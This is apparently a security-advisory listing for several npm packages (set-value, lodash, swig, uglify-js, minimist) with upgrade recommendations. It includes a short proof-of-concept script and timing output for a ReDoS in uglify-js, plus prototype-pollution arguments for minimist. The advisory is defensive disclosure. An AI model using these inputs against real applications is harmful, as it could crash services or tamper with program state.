Version Details and Security Vulnerabilities

Versions of set-value prior to 3.0.1 or 2.0.1 are vulnerable to Prototype Pollution. The set function fails to validate which Object properties it updates. This allows attackers to modify the prototype of Object, causing the addition or modification of an existing property on all objects.

Recommendation

If you are using set-value 3.x, upgrade to version 3.0.1 or later. If you are using set-value 2.x, upgrade to version 2.0.1 or later.

This affects the package set-value. A type confusion vulnerability can lead to a bypass of CVE-2019-10747 when the user-provided keys used in the path parameter are arrays.

lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.

Directory traversal vulnerability in swig-templates thru 2.0.4 and swig thru 1.4.2, allows attackers to read arbitrary files via the include or extends tags.

Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.

Proof of Concept

var u = require('uglify-js');
var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}

u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");

Results

$ time node test.js 10000
real	0m1.091s
user	0m1.047s
sys	0m0.039s

$ time node test.js 80000
real	0m6.486s
user	0m6.229s
sys	0m0.094s

Recommendation

Update to version 2.6.0 or later.

Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.

Recommendation

Upgrade to versions 0.2.1, 1.2.3 or later.

Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
